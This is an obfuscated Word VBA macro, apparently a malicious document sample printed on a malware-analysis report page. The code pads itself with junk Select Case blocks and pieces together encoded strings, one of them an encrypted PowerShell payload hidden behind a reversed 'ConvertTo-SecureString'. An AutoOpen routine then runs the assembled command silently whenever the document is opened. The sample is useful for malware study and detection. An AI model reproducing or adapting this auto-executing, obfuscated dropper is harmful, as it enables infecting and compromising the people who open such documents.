rYqdKf = ChrW(tSEloz)
End Select
EniqXVPqOv = kjNWNLl + IpFKi("brK95j3.uwqkO@[dKwWQNAMDA1AQYAgDA4AwNAYDAlBQYAMDAwAANAYGALrY<PQfhjfbMfjnQo<Af", 21, 38)
Select Case BzWjE
Case 91632
wRJviA = Fix(66590)
VvPDAj = Int(21909)
Case 4240
BFSMOk = mMNzAm
rYqdKf = ChrW(tSEloz)
End Select
Select Case hdPBU
Case 90304
iHjzSW = Fix(17846)
mquidO = Int(25253)
Case 90049
aqLCH = izzKYn
ErCqS = ChrW(IXYvPM)
End Select
WWQhZJIOojI = icpqw + IpFKi(".w819Lf<6r#.zAwNAgDAzAANAMDAxAAZAUGAwAAOAIGAhBAZAgDA1AAMAMGAkBAMAkDA3AQNAkDAzAgZAUGAiBQOAcDA4AQNAMGAlBwYAMGA4AAOAgDAxAgNAEDAmBgNAQGA5AgZAUDAjBAOAkDAxAQZAADA0AQNAMGAlBAMAMGA0AAOAIGA1AQYAYDAmBgNAMGAlBQZAkDA4AA3Q9jnMsI(wNV", 13, 195)
Select Case hdPBU
Case 90304
iHjzSW = Fix(17846)
mquidO = Int(25253)
Case 90049
aqLCH = izzKYn
ErCqS = ChrW(IXYvPM)
End Select
Select Case cIKvNC
Case 14704
AcSNwD = Fix(57803)
wdTYT = Int(46571)
Case 86318
OBLHu = LpjRdB
MQljU = ChrW(CzOIq)
End Select
lAwfr = FjMlD + IpFKi("X%tnYtSm_7NUR<hANAmBAOAgDAwAQMAUGAiBQNAYGA1AQYAADAyAgZAUDAkBwYAcDA5AgMAQDAxAgNAUDAmBgNAgDA1AgZAIGA0AANAIDA3AwYAEGAiBQZAIDAiBwMAIDAmBQYAADA1AQYAADAyAAOAkDA2AgMAEDAiBAQ7I3b", 6, 148)
Select Case cIKvNC
Case 14704
AcSNwD = Fix(57803)
wdTYT = Int(46571)
Case 86318
OBLHu = LpjRdB
MQljU = ChrW(CzOIq)
End Select
Select Case wcPOt
Case 89545
lfEZjp = Fix(72459)
YPEJpW = Int(36011)
Case 67219
uEdvHX = RwkiGY
RjjTu = ChrW(zaEEz)
End Select
hjDrBrJY = VNPXW + IpFKi("S#7jCAwYAkDAkBQOAMGAiBQOAQDAiBwMAEGAyoPzzwO01XXd!nI$QY31S0wfM#6.PGJoM", 33, 32)
Select Case wcPOt
Case 89545
lfEZjp = Fix(72459)
YPEJpW = Int(36011)
Case 67219
uEdvHX = RwkiGY
RjjTu = ChrW(zaEEz)
End Select
Select Case JVZlLJ
Case 97437
WHRKP = Fix(17639)
CXBptZ = Int(51637)
Case 51284
piizz = KUJZiD
NYbav = ChrW(qnzrO)
End Select
ONZjJbElvtj = Plmqvj + IpFKi("[X7GYb<SjGNAUDAlBQMAUDAkBgMAMDAwAwYAMGAxAwMAIGA4AgYAEGA0AAZAMDAhBQZAUGA1AgMAMDh.w", 4, 68)
Select Case JVZlLJ
Case 97437
WHRKP = Fix(17639)
CXBptZ = Int(51637)
Case 51284
piizz = KUJZiD
NYbav = ChrW(qnzrO)
End Select
Select Case QXOJQu
Case 61286
fmhQOW = Fix(32590)
WTkzC = Int(34755)
Case 74745
HoWvj = DCUjG
fKaqra = ChrW(zvBEQM)
End Select
wlwUSmC = RwDKbY + IpFKi(".hOl]URjji2Hwj.Ot3tl32 yEk- GnIRTserUCes-OTtREvnoC | '==AA0AAMAcDAzAQOAEGAkBQNAQDAxAQMAQDAxAQOAIGA1AAMALmaQRBVm<HLa_laf", 17, 83)
Select Case QXOJQu
Case 61286
fmhQOW = Fix(32590)
WTkzC = Int(34755)
Case 74745
HoWvj = DCUjG
fKaqra = ChrW(zvBEQM)
End Select
Select Case tJnvoQ
Case 49832
vDGiuc = Fix(33097)
iwnRv = Int(22857)
Case 50196
huOFw = zaDIvJ
AuZNiz = ChrW(fHFEKv)
End Select
bFTNNrQO = srqOuzk + IpFKi("8)_Iw.!j9AiBgNAIDA2AgMAADA5AQZAUDAxAgYAgDAlBgMAcDAhBQZAEGAzAwMAYDAkBgNAgDAjB%P$%A7wDkYl!RhZw", 17, 67)
Select Case tJnvoQ
Case 49832
vDGiuc = Fix(33097)
iwnRv = Int(22857)
Case 50196
huOFw = zaDIvJ
AuZNiz = ChrW(fHFEKv)
End Select
Select Case HEDhz
Case 43330
LanzU = Fix(2447)
jjfSZ = Int(2904)
Case 95376
fzbYS = BYGNj
ufErBz = ChrW(zjFWPG)
End Select
rYbpzkIjB = Pdpzhj + IpFKi("(nw37_bohBgYAgDA2AgNAQGAwAAMAIDA1AgZAIDA1AwMAEGA3AAMAgDAyAgYAEDAhBgYAgDAmBwMAUGA4AgZAgDAkBgMAYGAlBAZAUDAiBQNAIDA5AAMAMDA0AgZAADAmBwYAQDAmBAOAEGAmBQNAIGAjBgMAEGA3AQYAMGA4AwYAcDAxAQYAUDA5AQOAgD6_.[b6!", 8, 183)
Select Case HEDhz
Case 43330
LanzU = Fix(2447)
jjfSZ = Int(2904)
Case 95376
fzbYS = BYGNj
ufErBz = ChrW(zjFWPG)
End Select
Select Case itIvQ
Case 99437
JbkhNF = Fix(94837)
WSHSsv = Int(72927)
Case 9920
owYOqA = OXACf
kWlqi = ChrW(XqIYjV)
End Select
oiKqHkn = qBCHQXR + IpFKi("2Jwtw.P7nvI35]1l7QZAEGAyAQYAEGAjBQOAMGA2AgZAYGA1AgZAcDAyAANAEDAxAgMAcDA0AQZAcDA3AQNAMGA2AgNAEDAhBQOAkDAjBANAMDA5AAZAYGAxAQYAUDA5AAMAYGA0AgMAib", 3, 123)
Select Case itIvQ
Case 99437
JbkhNF = Fix(94837)
WSHSsv = Int(72927)
Case 9920
owYOqA = OXACf
kWlqi = ChrW(XqIYjV)
End Select
Select Case LmaDIr
Case 28308
tSAizh = Fix(55271)
wPmmCW = Int(16917)
Case 16105
hQrrEK = Qibop
iHMMl = ChrW(lTANXG)
End Select
VnwuRsGX = XhDjMso + IpFKi("lbtaZAEGAxAQOAY3WitnV@Xs3<R_bYV_)vwozdQmnnG2a", 32, 10)
Select Case LmaDIr
Case 28308
tSAizh = Fix(55271)
wPmmCW = Int(16917)
Case 16105
hQrrEK = Qibop
iHMMl = ChrW(lTANXG)
End Select
Select Case fPhXh
Case 75185
JlZEri = Fix(91145)
zjQij = Int(70380)
Case 9322
Tldrz = rNMip
GGYdv = ChrW(XLUDn)
End Select
mjLRtsO = KOomo + IpFKi("mVWJAwNAYGA2AgZAQDA1AANAUDAlBQYAYDAlBANAADAwAQNAQDA3AANAEDA2AgMAkDAxAAMAUGAwAQOAYGA5AAOAEDAhBQMAADAwiVtvWY%t02Sjw", 14, 96)
Select Case fPhXh
Case 75185
JlZEri = Fix(91145)
zjQij = Int(70380)
Case 9322
Tldrz = rNMip
GGYdv = ChrW(XLUDn)
End Select
CQFswJPFuKz = jXzdLPZJtT + jJaADswZbP + LVaWhTcIUWAIwS + ChrW(34) + lEvhuuLsI + iqoPztSmff + EdmMrRizAh + hFUvJjJo + VnwuRsGX + RTFIowshLYN + WWQhZJIOojI + nvAbVVjnt + cpJGF + booPXNOioj + oiKqHkn + bFTNNrQO + WTwwTlA + TLcOamzJzT + RfiUSBI + BbWastCj + DimRqOYtqf + OnaJjFm + mVzvnV + zuzLr + wRtLNVjYY + rYbpzkIjB + EniqXVPqOv + anWjkJ + fQwdV + WbaJB + FMdwBHJXz + iGwRl + lAwfr + ZAoUP + LvMtZoRnO + JPqlL + nlLGLiiNZ + UuDIzjVJcjk + zizzJInVI + wzCWHGzUztp + WDijO + hjDrBrJY + oRzpbQBQbl + zMvtkl + nHphMcPdzfR + zqaCqFWCOs + prsmMztfTrS + wzIjqM + lLjpzLlAMF + kTpMYzIVDKj + mjLRtsO + nPndtMGjwY + ONZjJbElvtj + izcHqbz + XOYcumclzM + iMRhRKJ + GipsbznGnRX + wlwUSmC + VqRiNTUijzm + PuiDtTtvi
Select Case bRqKni
Case 29887
tjQwH = Fix(22206)
orKTmP = Int(85376)
Case 82880
mYAmcR = KijEr
pQKjMh = ChrW(znzjqF)
End Select
End Function
Sub AutoOpen()
On Error Resume Next
Select Case Oidkb
Case 44560
TaHwF = Fix(3730)
JFCKIu = Int(97272)
Case 51902
vWOHl = HURkQ
bDcGL = ChrW(TXcrAB)
End Select
Select Case PQWZS
Case 6337
nRhNN = Fix(31009)
LSmhU = Int(71536)
Case 85621
BaEwCi = oDWMz
rkvwh = ChrW(NKWPsv)
End Select
Application.Run "wUuTGGAzLdENi", CQFswJPFuKz
Select Case IEqJf
Case 30795
hOwUW = Fix(758)
jddqAQ = Int(95869)
Case 39448
qjmuiX = KMAiWz
uqwjoc = ChrW(bchvih)
End Select
Select Case YrianW
Case 99073
tVkKjl = Fix(16564)
VZkfj = Int(375)
Case 7444
JsuPGF = AqmmUV
idwTz = ChrW(zdsCSG)
End Select
Select Case WtBJY
Case 76310
QvbjUn = Fix(43166)
UzzoAQ = Int(81681)
Case 12889
QCchfz = zztcGo
NjXnnB = ChrW(zJEPI)
End Select
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.